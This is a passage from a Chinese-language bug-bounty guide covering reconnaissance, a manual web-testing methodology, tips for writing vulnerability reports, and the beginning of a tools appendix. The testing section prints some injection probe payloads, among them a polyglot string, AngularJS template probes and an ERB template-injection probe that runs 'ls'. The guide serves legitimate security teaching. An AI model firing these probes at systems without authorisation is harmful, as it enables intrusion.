两个常见的端口扫描工具是 Nmap 和 Masscan。Nmap 是一个较老的工具,除非你知道如何优化它,否则速度可能较慢。但它非常好用,因为你可以提供一个 URL 列表,它会确定扫描的 IP 地址。它还具有模块化功能,因此你可以在扫描中加入其他检查。例如,名为http-enum的脚本将执行文件和目录的暴力破解。相比之下,Masscan 非常快速,当你有一个 IP 地址列表要扫描时,它可能是最好的选择。我使用 Masscan 来扫描常见的开放端口,如 80、443、8080 或 8443,然后将结果与截图结合起来(这个话题我将在下一节中讨论)。
在从子域列表进行端口扫描时,有一些细节需要注意,那就是这些域名解析到的 IP 地址。如果除了一个子域名外,其他所有子域都解析到一个常见的 IP 地址范围(例如,AWS 或 Google Cloud Compute 拥有的 IP 地址),那么调查这个异常的子域可能是值得的。不同的 IP 地址可能表示一个定制或第三方应用程序,它的安全性可能与公司核心应用程序不同,后者位于常见的 IP 地址范围内。如第十四章所述,Frans Rosen 和 Rojan Rijal 通过接管 Legal Robot 和 Uber 的子域,利用了第三方服务。
截图
与端口扫描类似,当你拥有子域名列表时,一个好的步骤是对它们进行截图。这很有帮助,因为它为你提供了程序范围的视觉概览。当你审查截图时,有一些常见的模式可能是漏洞的指示。首先,寻找与子域接管相关的服务常见的错误信息。如第十四章所述,一个依赖外部服务的应用程序可能随着时间的推移发生变化,它的 DNS 记录可能被遗留并被遗忘。如果攻击者能够接管该服务,可能会对应用程序及其用户产生重大影响。或者,截图可能没有显示错误信息,但仍可能表明该子域依赖于第三方服务。
其次,你可以寻找敏感内容。例如,如果所有在.corp.
第三,寻找那些与其他子域名上常见应用不匹配的应用。例如,如果只有一个 PHP 应用,而所有其他子域名都是 Ruby on Rails 应用,那么专注于那个 PHP 应用可能是值得的,因为该公司的技术专长似乎是在 Rails 上。子域名上找到的应用的重要性可能很难确定,直到你熟悉它们,但它们可能会带来巨大的奖励,比如 Jasmin Landry 在将其 SSH 访问提升为远程代码执行时所发现的奖励,如 第十二章中所述。
有几个工具可以帮助你截图网站。在写这篇文章时,我使用的是 HTTPScreenShot 和 Gowitness。HTTPScreenShot 有两个优点:首先,你可以使用它处理 IP 地址列表,它会截图并列出与其解析的 SSL 证书相关联的其他子域名。其次,它会根据页面是 403 消息还是 500 消息、是否使用相同的内容管理系统等因素将结果分组。这个工具还包括它找到的 HTTP 头信息,这也很有用。
Gowitness 是一个快速、轻量的截图替代工具。当我有 URL 列表而不是 IP 地址时,我使用这个工具。它还会在截图时包括它接收到的头信息。
尽管我没有使用它,Aquatone 还是一个值得一提的工具。在写这篇文章时,它最近已经用 Go 重新编写,并包含了聚类、易于输出结果以匹配其他工具所需格式等功能。
内容发现
一旦你审查了子域名和可视化侦查结果,你应该寻找有趣的内容。你可以用几种不同的方法来进行内容发现。一个方法是通过暴力破解尝试发现文件和目录。这个技术的成功取决于你使用的词表;如前所述,SecLists 提供了不错的词表,特别是 raft 词表,这也是我使用的词表。你还可以跟踪这一步的结果,随着时间的推移编制出你自己常见文件的列表。
一旦你有了文件和目录名称的列表,你就有一些工具可以选择。我使用 Gobuster 或 Burp Suite Pro。Gobuster 是一个定制化且快速的暴力破解工具,用 Go 编写。当你提供一个域名和词表时,它会测试目录和文件的存在,并确认服务器的响应。此外,由 Tom Hudson 开发、同样用 Go 编写的 Meg 工具允许你同时在多个主机上测试多个路径。这在你找到大量子域名并希望同时在它们所有上发现内容时特别有用。
由于我正在使用 Burp Suite Pro 代理我的流量,我会使用它的内置内容发现工具或 Burp Intruder。内容发现工具是可配置的,允许你使用自定义词汇表或内置词汇表,查找文件扩展名的排列组合,定义暴力破解的嵌套文件夹数量等。而当使用 Burp Intruder 时,我会将要测试的域名请求发送给 Intruder,并将负载设置在根路径的末尾。然后我会将我的词汇表添加为负载并执行攻击。通常,我会根据应用程序响应的内容长度或响应状态来对结果进行排序。如果我通过这种方式发现了一个有趣的文件夹,我可能会再次在该文件夹上运行 Intruder 以发现嵌套文件。
当你需要超越文件和目录暴力破解、Google dorking(如第十章中 Brett Buerhaus 发现的漏洞所描述)也能提供一些有趣的内容发现。Google dorking 能节省你的时间,特别是当你发现一些常见的 URL 参数时,如 url、redirect_to、id 等等。Exploit DB 维护了一个专门用于特定用例的 Google dork 数据库,地址是 www.exploit-db.com/google-hacking-database/。
另一种寻找有趣内容的方法是检查公司的 GitHub。你可能会发现该公司发布的开源代码库,或者有关它所使用技术的有用信息。正是通过这种方式,Michiel Prins 发现了 Algolia 上的远程代码执行漏洞,如第十二章中所讨论的那样。你可以使用 Gitrob 工具来爬取 GitHub 仓库,寻找应用程序的秘密和其他敏感信息。此外,你还可以检查代码仓库,找到应用程序依赖的第三方库。如果你能发现一个废弃的项目或者影响网站的第三方漏洞,两个都可能值得提交漏洞赏金。代码仓库还能帮助你了解公司如何处理先前的漏洞,尤其是像 GitLab 这样的开源公司。
历史漏洞
侦察的最后一步之一是熟悉过去的漏洞。黑客写的报告、公开的漏洞报告、CVE、已发布的利用代码等,都是很好的资源。如本书多次提到的那样,仅仅因为代码已被更新,并不意味着所有漏洞都已修复。一定要对任何更改进行测试。当修复部署时,意味着新代码被添加,而这些新代码可能包含漏洞。
Tanner Emek 在 Shopify Partners 中发现的 $15,250 漏洞,如第十五章所述,是通过阅读之前披露的漏洞报告并重新测试相同功能得出的。就像 Emek 一样,当有趣或新颖的漏洞被公开披露时,一定要阅读报告并访问应用程序。最糟糕的情况是,你没有找到漏洞,但你在测试该功能时会培养新的技能。最好的情况是,你可能绕过了开发者的修复或发现了一个新的漏洞。
覆盖了所有主要的侦察领域后,接下来是测试应用程序的时候了。在测试时,请记住侦察是寻找漏洞奖励的一个持续过程。重新审视目标应用程序总是一个好主意,因为它在不断发展。
测试应用程序
测试应用程序没有统一的标准方法。你使用的方法和技术取决于你正在测试的应用程序类型,这类似于程序范围可以定义你的侦察。在本节中,我将提供一个关于你需要牢记的考虑事项和在接触新站点时需要使用的思维过程的概述。但无论你测试的是哪种应用程序,没有比 Matthias Karlsson 的建议更好的了:“不要想着‘其他人已经看过了,什么都没剩下。’像没有人去过一样去接触每一个目标。没有发现漏洞?换一个。”
技术栈
我在测试新应用程序时的首要任务之一是识别所使用的技术。这包括但不限于前端 JavaScript 框架、服务器端应用程序框架、第三方服务、本地托管文件、远程文件等。我通常通过查看我的 Web 代理历史记录来完成这项工作,记录所服务的文件、历史记录中捕获的域名、是否提供 HTML 模板、返回的 JSON 内容等。Firefox 插件 Wappalyzer 也非常方便,可以快速指纹识别技术。
在进行测试时,我保持 Burp Suite 的默认配置,并浏览网站以了解其功能,并记录开发者使用了哪些设计模式。这样做可以帮助我优化测试中将使用的负载类型,就像 Orange Tsai 在第十二章中发现 Uber 上的 Flask RCE 一样。例如,如果一个网站使用 AngularJS,可以测试 {{7*7}},看看是否会渲染出 49。如果应用程序是用 ASP.NET 构建并启用了 XSS 保护,可能需要先测试其他类型的漏洞,将 XSS 作为最后的选择进行检查。
如果一个站点是用 Rails 构建的,你可能知道,URLs 通常遵循/CONTENT_TYPE/RECORD_ID 模式,其中 RECORD_ID 是自动递增的整数。以 HackerOne 为例,报告的 URL 遵循模式www.hackerone.com/reports/12345。Rails 应用程序通常使用整数 ID,因此你可能会优先测试不安全的直接对象引用漏洞,因为这种漏洞类型很容易被开发者忽视。
如果 API 返回 JSON 或 XML,你可能会发现这些 API 调用无意中返回了页面上未呈现的敏感信息。这些调用可能是一个很好的测试表面,并可能导致信息泄露漏洞。
以下是此阶段需要注意的一些因素:
站点期望或接受的内容格式 例如,XML 文件有不同的格式和大小,XML 解析通常与 XXE 漏洞相关。注意接受.docx、.xlsx、.pptx或其他 XML 文件类型的站点。
容易配置错误的第三方工具或服务 每当你阅读关于黑客利用这些服务的报道时,尝试理解报告者是如何发现漏洞的,并将这一过程应用到你的测试中。
编码参数和应用程序如何处理它们 异常可能表明后台多个服务之间的互动,这可能会被滥用。
自定义实现的认证机制,如 OAuth 流程 应用程序如何处理重定向 URL、编码和状态参数的细微差异可能导致重大漏洞。
功能映射
一旦我了解了一个站点的技术,我就会进入功能映射阶段。在这一阶段,我仍然在浏览,但我的测试可能会有几种方向:我可能会寻找漏洞的标志,设定测试的具体目标,或者遵循检查清单。
当我寻找漏洞的标志时,我会注意到与漏洞相关的常见行为。例如,站点是否允许你创建带有 URL 的 webhook?如果是,这可能导致 SSRF 漏洞。站点是否允许用户冒充?这可能会导致敏感个人信息泄露。你是否可以上传文件?这些文件的渲染方式和位置可能导致远程代码执行漏洞、XSS 等。当我发现感兴趣的内容时,我会停止并开始应用程序测试,如下一节所述,并寻找漏洞的迹象。这可能是返回的意外消息、响应时间的延迟、未处理的输入返回,或者绕过服务器端检查。
相比之下,当我定义并朝着一个目标努力时,我会在测试应用之前决定我将做什么。这个目标可能是找到服务器端请求伪造、本地文件包含、远程代码执行或其他某些漏洞。HackerOne 的联合创始人 Jobert Abma 通常使用并提倡这种方法,Philippe Harewood 在发现他的 Facebook 应用接管漏洞时也使用了这种方法。采用这种方法时,你忽略所有其他可能性,完全专注于最终目标。只有在找到能引导你实现目标的内容时,你才会停止并开始测试。例如,如果你在寻找远程代码执行漏洞,那么返回响应体的未经处理的 HTML 就不再是关注的重点。
另一种测试方法是遵循检查清单。OWASP 和 Dafydd Stuttard 的Web Application Hacker’s Handbook都提供了全面的应用程序测试清单,因此我没有理由去超越这两个资源。我不选择这个方法,因为它过于单调,让我联想到工作,而不是一项愉悦的爱好。尽管如此,遵循检查清单可以帮助你避免因忘记测试某些内容或忽视遵循通用方法论(如审查 JavaScript 文件)而错过漏洞。
发现漏洞
一旦你理解了应用程序的工作方式,就可以开始测试。与其设定一个具体目标或使用检查清单,我建议从寻找可能表明漏洞的行为开始。在这个阶段,你可能认为应该运行自动化扫描器,比如 Burp 的扫描引擎来寻找漏洞。但我查看过的大多数程序并不允许这样做,它们噪声过大,而且不需要任何技能或知识。相反,你应该专注于手动测试。
如果我在功能映射过程中没有找到任何有趣的内容,我会开始像客户一样使用网站。我会创建内容、用户、团队或应用程序提供的任何其他功能。在此过程中,我通常会在接受输入的地方提交有效载荷,并寻找异常和意外行为。我通常使用的有效载荷是<s>000'")};--//,它包含了所有可能破坏有效载荷渲染上下文的特殊字符,无论是在 HTML、JavaScript 还是后端 SQL 查询中。这种类型的有效载荷通常被称为polyglot。<s>标签本身是无害的,容易在 HTML 中渲染时发现(你会看到文本上有删除线),并且当网站尝试通过修改输入来清理输出时,通常会被原封不动地保留下来。
此外,当我创建的内容有可能在管理面板上呈现时,例如我的用户名、地址等,我会使用不同的载荷来针对 XSSHunter 的盲注(一个在附录 A 中讨论的 XSS 工具)。最后,如果该网站使用模板引擎,我还会添加与模板相关的载荷。对于 AngularJS,这看起来像是 {{8*8}}[[5*5]],我会查看是否渲染出了 64 或 25。尽管我从未在 Rails 中找到过服务器端模板注入,但我仍然会尝试使用载荷<%= `ls` %>,以防某天出现内联渲染。
尽管提交这些类型的载荷涵盖了注入类型的漏洞(如 XSS、SQLi、SSTI 等),但它们也不需要太多的批判性思维,且容易变得重复且乏味。因此,为了避免疲劳,重要的是时刻关注代理历史,寻找通常与漏洞相关的不寻常功能。需要关注的常见漏洞和领域包括但不限于以下内容:
CSRF 漏洞 改变数据的 HTTP 请求类型,以及它们是否使用和验证 CSRF 令牌,或者检查引用者或来源头
IDOR(不当对象引用) 是否有可以被篡改的 ID 参数
应用逻辑 跨两个不同用户账户重复请求的机会
XXEs 任何接受 XML 的 HTTP 请求
信息披露 任何保证是,或应当保密的内容
开放重定向 任何具有与重定向相关的参数的 URL
CRLF、XSS 及某些开放重定向 任何在响应中回显 URL 参数的请求
SQLi 是否通过向参数中添加单引号、括号或分号改变响应
RCE(远程代码执行) 任何类型的文件上传或图像处理
竞态条件 与使用时间或检查时间相关的延迟数据处理或行为
SSRF(服务器端请求伪造) 接受 URL 的功能,如 Webhooks 或外部集成
未修补的安全漏洞 公开的服务器信息,如 PHP、Apache、Nginx 等版本信息,这些可能暴露过时的技术
当然,这个清单是无止境的,并且可以说一直在不断发展。当你需要更多的灵感去寻找漏洞时,你可以随时查看本书每章的总结部分。在你深入了解功能并需要暂时从 HTTP 请求中休息时,你可以翻回文件和目录暴力破解,看看是否发现了任何有趣的文件或目录。你应该回顾这些发现并访问相关页面和文件。这也是重新评估你正在进行的暴力破解操作的最佳时机,看看是否有其他领域可以关注。例如,如果你发现了一个 /api/ 端点,你可以在该端点上进行新的路径暴力破解,这有时会引导你发现隐藏的、未文档化的功能进行测试。类似地,如果你使用 Burp Suite 代理你的 HTTP 流量,Burp 可能会根据你已经访问的页面解析的链接,发现更多需要检查的页面。这些未访问的页面,可能会引导你发现未测试的功能,在 Burp Suite 中它们会以灰色显示,以便与已访问的链接区分开来。
如前所述,黑客攻击 Web 应用并非魔法。成为一名漏洞猎人需要三分之一的知识,三分之一的观察力,以及三分之一的毅力。深入挖掘应用并彻底测试而不浪费时间是关键。不幸的是,识别这种差异需要经验。
进一步深入
一旦你完成了侦察并彻底测试了所有能找到的功能,你应该研究其他方法来提高漏洞搜索的效率。虽然我不能告诉你在所有情况下如何做到这一点,但我确实有一些建议。
自动化你的工作
节省时间的一种方法是通过自动化你的工作。虽然在本章中我们使用了一些自动化工具,但大多数描述的技术都是手动的,这意味着我们受限于时间。为了突破时间障碍,你需要计算机帮你进行黑客攻击。Rojan Rijal 在发现某个子域名漏洞并上线后五分钟内就公开了该漏洞。他能够如此快速地发现漏洞,是因为他自动化了对 Shopify 的侦察。如何自动化你的黑客攻击超出了本书的范围——而且没有自动化也完全可以成为一名成功的漏洞赏金黑客——但这是黑客增加收入的一种方式。你可以从自动化侦察开始。例如,你可以自动化几个任务,如子域名暴力破解、端口扫描和可视化侦察等等。
查看移动应用
另一个发现更多漏洞的机会是查看在项目范围内包含的任何移动应用程序。本书主要关注网络攻击,但移动攻击为发现漏洞提供了许多新机会。你可以通过两种方式来攻击移动应用:直接测试应用程序代码或测试应用程序与之交互的 API。我更关注后者,因为它类似于 Web 攻击,并且我可以集中精力研究诸如 IDOR、SQLi、RCE 等漏洞类型。要开始测试移动应用 API,你需要通过 Burp 代理你的手机流量,边使用应用程序边进行测试。这是查看 HTTP 调用的一种方式,以便你可以操控这些调用。但有时,应用程序使用 SSL 钉扎,这意味着它不会识别或使用 Burp 的 SSL 证书,因此你无法代理应用程序的流量。绕过 SSL 钉扎、代理手机流量以及一般的移动攻击超出了本书的范围,但它们确实代表了一个很好的新学习机会。
识别新功能
下一步需要关注的是,在你测试的应用程序中添加新功能时,如何识别这些功能。Philippe Harewood 是一个在这方面掌握技能的优秀例子。在 Facebook 项目中的顶级黑客中,他公开分享他在自己的网站上发现的漏洞,网址是 philippeharewood.com/。他的写作通常会引用他发现的新功能和他在别人之前发现的漏洞,因为他能够迅速识别这些内容。Frans Rosen 在 Detectify 博客上分享了他识别新功能的一些方法,网址是 blog.detectify.com/。为了跟踪你正在测试的网站上的新功能,你可以阅读这些网站的工程博客,关注它们的工程 Twitter 帐号,注册它们的新闻通讯,等等。
跟踪 JavaScript 文件
你还可以通过跟踪 JavaScript 文件来发现新的网站功能。专注于 JavaScript 文件特别有效,尤其是当一个网站依赖前端 JavaScript 框架来渲染内容时。该应用程序将依赖于将大多数网站使用的 HTTP 端点包含在其 JavaScript 文件中。文件中的变化可能代表你可以测试的新功能或已更改的功能。Jobert Abma、Brett Buerhaus 和 Ben Sadeghipour 讨论了他们如何跟踪 JavaScript 文件的方法;你可以通过快速 Google 搜索他们的名字和“侦察”这个词,找到他们的相关写作。
为访问新功能付费
尽管在你试图通过漏洞奖励赚钱时,这可能看起来有些违反直觉,但你也可以支付费用来访问某些功能。Frans Rosen 和 Ron Chan 讨论了他们通过支付费用获得新功能访问权限所取得的成功。例如,Ron Chan 支付了几千美元来测试一个应用程序,发现了大量漏洞,这使得这笔投资非常值得。我自己也通过支付产品、订阅和服务的费用,成功地扩大了测试范围。其他人通常不愿意为他们不使用的网站的功能支付费用,因此这些功能中往往隐藏着更多未被发现的漏洞。
学习技术
此外,你可以深入了解公司正在使用的技术、库和软件,并学习它们的工作原理。你了解得越多,越容易发现基于这些技术在应用程序中的使用方式所产生的漏洞。例如,发现第十二章中关于 ImageMagick 的漏洞就需要理解 ImageMagick 及其定义的文件类型是如何工作的。你也许能通过查看与 ImageMagick 相关的其他技术,发现更多的漏洞。Tavis Ormandy 就是通过披露 Ghostscript 中的额外漏洞来实现这一点,而 ImageMagick 正是支持 Ghostscript 的。你可以通过访问 www.openwall.com/lists/oss-security/2018/08/21/2 获取更多关于 Ghostscript 漏洞的信息。类似地,FileDescriptor 在一篇博客中透露,他通过阅读关于 Web 功能的 RFC,并专注于安全性考虑,来理解某个功能应该如何工作与实际实现之间的差异。他对 OAuth 的深入了解是研究许多网站所使用技术的一个很好的例子。
总结
在本章中,我尝试根据我个人的经验和与顶级漏洞奖励黑客的访谈,阐明一些可能的黑客攻击方法。到目前为止,我在探索目标、了解其提供的功能并将其功能映射到漏洞类型进行测试后取得了最好的成功。但我仍在持续探索的领域,并鼓励你也进行探索的包括自动化和记录你的方法论。
有很多黑客工具可以帮助你更轻松地进行渗透测试:Burp、ZAP、Nmap 和 Gowitness 是我提到的其中一些。为了更好地利用你的时间,记得在进行黑客攻击时,牢记这些工具。
一旦你用尽了常规的查找漏洞方法,尝试通过深入挖掘移动应用程序和你正在测试的网站中新开发的功能,来让你的漏洞搜索更加成功。
第二十章:漏洞报告**

好了,你发现了第一个漏洞,恭喜你!找到漏洞并不容易。我给出的第一个建议是放松,别急于求成。急躁时你常常会犯错误。相信我——我知道那种兴奋的感觉,提交一个漏洞报告却被拒绝。当公司将报告标记为无效时,漏洞悬赏平台还会扣除你的信誉点。这是一个艰难的教训,这一章将通过提供编写优秀漏洞报告的技巧,帮助你避免这种情况。
阅读政策
在提交漏洞之前,务必检查程序政策。每个参与漏洞悬赏平台的公司都会提供一份政策文件,通常会列出排除的漏洞类型,以及某些属性是否在程序范围之内。始终在进行黑客攻击之前阅读公司的政策,以避免浪费时间。如果你还没有阅读某个程序的政策,现在就去做,确保你没有在寻找公司要求你不要报告的已知问题或漏洞。
这是我曾经犯的一个痛苦错误,如果我事先阅读了政策是可以避免的。我发现的第一个漏洞是在 Shopify 上。我意识到,如果在其文本编辑器中提交格式错误的 HTML,Shopify 的解析器会自动修正并存储 XSS。我很兴奋。我以为我的漏洞挖掘工作得到了回报,迫不及待地想提交报告。
提交报告后,我等待了至少 500 美元的悬赏。提交五分钟内,程序礼貌地告诉我漏洞已经为人所知,并且研究人员已被要求不要提交此漏洞。该报告被关闭为无效报告,我失去了五个信誉点。我恨不得想找个地方躲起来。这是一个痛苦的教训。
从我的错误中吸取教训;阅读政策。
提供细节;然后再提供更多
确认你能报告漏洞后,你需要编写报告。如果你希望公司认真对待你的报告,提供包括以下内容的详细信息:
-
重现漏洞所需的 URL 和任何受影响的参数
-
你的浏览器、操作系统(如适用)以及测试应用的版本(如适用)
-
漏洞的描述
-
重现漏洞的步骤
-
漏洞影响的解释,包括漏洞可能被利用的方式
-
修复漏洞的建议方案
我建议你以截图或 短 视频的形式提供漏洞证明,视频时长不超过两分钟。概念验证材料不仅提供了你发现的记录,还在演示如何重现漏洞时非常有帮助。
在准备报告时,你还需要考虑漏洞的影响。例如,Twitter 上的存储型 XSS 是一个严重问题,因为该公司是公开的,用户数量庞大,人们对平台的信任等因素。相比之下,一个没有用户账户的网站可能会认为存储型 XSS 的严重性较低。相比之下,托管个人健康记录的敏感网站上的隐私泄漏,可能比 Twitter 上的隐私泄漏更为重要,因为 Twitter 上的大多数用户信息已经是公开的。
重新确认漏洞
在你阅读完公司政策、草拟报告并包含概念验证材料后,花点时间问问自己,所报告的内容是否真的是一个漏洞。例如,如果你报告了一个 CSRF 漏洞,因为你在 HTTP 请求体中没有看到 token,检查一下该参数是否可能作为 header 被传递。
2016 年 3 月,Mathias Karlsson 写了一篇关于绕过同源策略(SOP)漏洞的精彩博客文章 (labs.detectify.com/2016/03/17/bypassing-sop-and-shouting-hello-before-you-cross-the-pond/)。但他并没有获得奖金,Karlsson 在博客中解释道,引用了瑞典谚语 Don’t shout hello before you cross the pond,意思是,在你完全确定成功之前,不要庆祝。
根据 Karlsson 的说法,他正在测试 Firefox,并注意到浏览器在 macOS 上会接受格式不正确的主机名。具体来说,URL http://example.com.. 会加载 example.com,但会在 host header 中发送 example.com..。然后他尝试访问 http://example.com...evil.com,并得到了相同的结果。他知道这意味着他可以绕过 SOP,因为 Flash 会将 http://example.com..evil.com 视为属于 *.evil.com 域名。他查看了 Alexa 的前 10,000 个网站,发现 7% 的网站是可以被利用的,包括 yahoo.com。
他写出了漏洞报告,但后来决定和同事再次确认这个问题。他们使用另一台计算机重现了这个漏洞。他更新了 Firefox,仍然确认了漏洞存在。他在推特上发布了关于这个 bug 的预告。然后他意识到自己的错误。他没有更新操作系统。更新后,bug 消失了。显然,他注意到的问题在六个月前就已经被报告并修复了。
Karlsson 是最优秀的漏洞赏金黑客之一,但即便是他,也差点犯了一个令人尴尬的错误。确保在报告漏洞之前确认清楚它。以为自己发现了一个重大漏洞,结果发现自己误解了应用程序并提交了无效报告,真是令人失望。
你的声誉
每当你考虑提交一个 bug 时,先退一步问问自己,是否会为公开披露这个报告而感到自豪。
当我开始进行黑客攻防时,我提交了很多报告,因为我想要帮助他人并进入排行榜。但实际上,我只是在浪费大家的时间,提交了很多无效的报告。不要犯同样的错误。
你可能不在乎自己的声誉,或者你可能认为公司能从收到的报告中筛选出有意义的漏洞。但在所有的漏洞悬赏平台上,你的统计数据很重要。这些数据会被追踪,且公司会用它们来决定是否邀请你参加私密项目。这样的项目通常对黑客来说更有利可图,因为参与的黑客更少,意味着竞争更小。
这是我经验中的一个例子:我受邀参加了一个私密的项目,并在一天之内发现了八个漏洞。但那天晚上,我向另一个项目提交了一份报告,结果被标记为 N/A。这份报告降低了我在 HackerOne 上的统计数据。第二天,当我去向另一个私密项目报告一个新漏洞时,得知我的统计数据太低,必须等待 30 天才能报告我发现的漏洞。等待这 30 天并不好受。我很幸运——没有其他人发现这个漏洞。但我犯下的错误让我学会了在所有平台上重视自己的声誉。
尊重公司
虽然很容易忽视,但并不是所有公司都有资源立即响应报告或整合漏洞修复。写报告或跟进时,请记住公司的立场。
当一家公司启动一个新的公开漏洞悬赏项目时,它将会收到大量需要筛选的报告。在你开始请求更新之前,给公司一些时间来回复你。一些公司政策包括服务级别协议,并承诺在给定的时间范围内回应报告。抑制你的兴奋,考虑公司的工作负担。对于新提交的报告,预计会在五个工作日内收到回应。之后,你通常可以礼貌地发布评论,确认报告的状态。大多数情况下,公司会回应并告知你当前的情况。如果没有回应,你应该再给他们几天时间,然后再尝试或将问题升级到平台。
另一方面,如果公司已经确认报告中漏洞的优先级,你可以询问修复的预期时间表以及是否会获得进度更新。你也可以问是否可以在一两个月后再次确认进展。开放的沟通是你希望继续合作的项目的一个标志;如果公司没有回应,最好转到另一个项目。
在写这本书时,我有幸与 Adam Bacchus 进行过交流,当时他担任 HackerOne 的首席赏金官(自 2019 年 4 月起,他已回到 Google,成为 Google Play 奖励计划的一部分)。Bacchus 的过往经验包括在 Snapchat 工作,致力于弥合安全和软件工程之间的关系。他还曾在 Google 的漏洞管理团队工作,帮助运营 Google 漏洞奖励计划。
Bacchus 帮助我理解了分派人员在运营赏金计划过程中遇到的问题:
-
尽管漏洞赏金计划不断改进,但它们仍然会收到许多无效报告,尤其是当它们是公开计划时。这被称为噪音。报告中的噪音会增加分派人员的工作量,从而可能延迟他们对有效报告的回应。
-
赏金计划必须找到一种方法,在漏洞修复和已有的开发任务之间找到平衡。当程序收到大量报告或多个不同的人报告同一漏洞时,情况会变得更加复杂。优先修复低或中等严重性的漏洞是一个特别具有挑战性的任务。
-
在复杂系统中验证报告需要时间。因此,编写清晰的描述和重现步骤非常重要。当一个分派人员需要向你请求额外的信息来验证和重现一个漏洞时,这会延迟漏洞修复并影响你的奖励支付。
-
并非所有公司都有专门的安全人员来运营全职的赏金计划。小公司可能会让员工在管理赏金计划和其他开发职责之间分配时间。因此,某些公司可能需要更长时间来响应报告和跟踪漏洞修复。
-
修复漏洞需要时间,特别是当公司需要经过完整的开发生命周期时。为了集成修复,公司可能需要经历某些步骤,如调试、编写测试和阶段性部署。当系统中发现低影响漏洞时,这些过程会使修复进程更加缓慢,尤其是当这些系统是客户依赖的。程序可能需要比你预期的更长时间来确定合适的修复方案。但在这种情况下,清晰的沟通和相互尊重非常重要。如果你担心能否快速获得报酬,可以关注那些在分派阶段就支付奖励的程序。
-
漏洞赏金计划希望黑客能够继续回归。这是因为,正如 HackerOne 所描述的那样,一个黑客报告的漏洞严重性通常随着该黑客提交给同一计划的漏洞数量增加而加剧。这被称为深入挖掘一个计划。
-
不良的媒体报道是真实存在的。计划总是面临着错误地忽略漏洞、修复耗时过长或奖励过低等风险。此外,一些黑客会在社交媒体和传统媒体上公开指出程序问题,特别是当他们认为上述任何情况发生时。这些风险会影响分派人员的工作方式以及他们与黑客建立的关系。
Bacchus 分享了这些见解,旨在使漏洞奖励过程更具人性化。我在不同的项目中经历了各种各样的情况,就像他所描述的那样。在编写报告时,记住黑客和项目需要共同理解这些挑战,才能改善双方的局面。
奖励上诉
如果你向一家支付奖励的公司提交了漏洞,尊重其对奖励金额的决定,但不要害怕与公司沟通。在 Quora 上,HackerOne 的联合创始人 Jobert Abma 分享了关于奖励争议的以下内容(www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter/):
如果你不同意收到的金额,可以讨论为什么你认为应该获得更高的奖励。避免要求额外奖励时没有详细说明原因。作为回报,公司应该尊重你的时间和价值。
礼貌地询问为何报告获得了特定金额是可以的。当我过去这样做时,我通常会使用以下评论:
非常感谢你们的奖励。我真的很感激。我很好奇这个金额是如何确定的。我原本期待\(*X*,但你们给了\)Y。我认为这个漏洞可能被用来[利用 Z],这可能对你们的[系统/用户]产生重大影响。我希望你能帮助我理解,以便我将来能更好地专注于对你们最重要的事情。
作为回应,公司做出了以下行动:
-
解释说报告的影响比我想的要小,但金额没有变化
-
同意他们误解了我的报告,并增加了金额
-
同意他们错误分类了我的报告,并在修正后增加了金额
如果一家公司披露了涉及相同类型漏洞或具有类似影响的报告,并且与您的奖励预期一致,你也可以在后续的沟通中引用该报告来解释你的期望。但我建议你只引用同一家公司中的报告。不要引用其他公司更高的奖励,因为公司 A 的奖励并不一定能为公司 B 的奖励设立标准。
总结
学会写一份出色的报告并有效沟通你的发现,是成功的漏洞奖励黑客必备的技能。阅读项目政策至关重要,确定报告中要包含的细节也是如此。一旦发现漏洞,确认你的发现是至关重要的,以避免提交无效报告。即使是像 Mathias Karlsson 这样的优秀黑客,也会有意识地避免犯错。
一旦你提交了报告,就要体谅那些评估潜在漏洞的人。在与公司合作时,牢记 Adam Bacchus 的见解。如果你已经收到了奖励金,但觉得这个金额不合适,最好进行一次礼貌的对话,而不是在 Twitter 上发泄。
你写的所有报告都会影响你在漏洞悬赏平台上的声誉。保护好自己的声誉非常重要,因为平台会根据你的统计数据来决定是否邀请你参与私人项目,在这些项目中,你可能能够获得更高的黑客投资回报。
第二十一章:**A
TOOLS**

本附录包含了一份黑客工具清单。这些工具中的一些允许你自动化侦察过程,而其他工具则帮助你发现可攻击的应用程序。这份清单并不意味着详尽无遗,它仅反映了我常用的工具,或是我知道其他黑客常用的工具。同时请记住,这些工具都不应替代观察力或直觉思考。HackerOne 的联合创始人 Michiel Prins 值得赞扬,他帮助开发了这个清单的初始版本,并在我开始进行黑客攻击时提供了如何有效使用这些工具的建议。
Web Proxies
Web 代理可以捕获你的网络流量,方便你分析发送的请求和接收到的响应。许多此类工具是免费的,尽管专业版工具具有额外功能。
Burp Suite
Burp Suite (portswigger.net/burp/) 是一个集成的安全测试平台。平台中最有用的工具,也是我使用频率最高的工具,是 Burp 的 Web 代理。回想一下书中的漏洞报告,代理功能让你能够监控你的流量、实时拦截请求、修改它们并转发。Burp 拥有丰富的工具集,但以下是我认为最值得注意的几个:
-
一个应用感知的蜘蛛工具,用于爬取内容和功能(可以是被动的也可以是主动的)
-
用于自动化漏洞检测的 Web 扫描器
-
一个用于操作和重新发送单个请求的重复器
-
用于在平台上构建额外功能的扩展
Burp 提供免费版本,但工具的使用有一定限制,你也可以通过年度订阅购买 Pro 版。我建议你先从免费版开始,直到你掌握了如何使用它。当你稳定地发现漏洞时,可以购买 Pro 版以便更轻松地工作。
Charles
Charles (www.charlesproxy.com/) 是一款 HTTP 代理工具、HTTP 监视器和反向代理工具,允许开发者查看 HTTP 和 SSL/HTTPS 流量。使用它,你可以查看请求、响应和 HTTP 头(其中包含了 cookies 和缓存信息)。
Fiddler
Fiddler (www.telerik.com/fiddler/) 是另一款轻量级代理工具,可以用来监控你的流量,但其稳定版本仅支持 Windows。Mac 和 Linux 版本在写本文时仍处于测试阶段。
Wireshark
Wireshark (www.wireshark.org/) 是一款网络协议分析工具,可以让你详细查看网络中的发生情况。当你需要监控无法通过 Burp 或 ZAP 代理的流量时,Wireshark 非常有用。如果你刚开始使用,且网站仅通过 HTTP/HTTPS 进行通信,使用 Burp Suite 可能是最好的选择。
ZAP Proxy
OWASP Zed Attack Proxy(ZAP)是一个免费的、社区驱动的开源平台,类似于 Burp。它可以通过 www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project 获得。它还具有各种工具,包括代理、重放器、扫描器、目录/文件暴力破解工具等。此外,它支持插件,因此如果你有需要,可以创建额外的功能。该网站提供了一些有用的信息,可以帮助你入门。
子域名枚举
网站通常有一些子域名,人工工作很难发现。暴力破解子域名可以帮助你识别程序的额外攻击面。
Amass
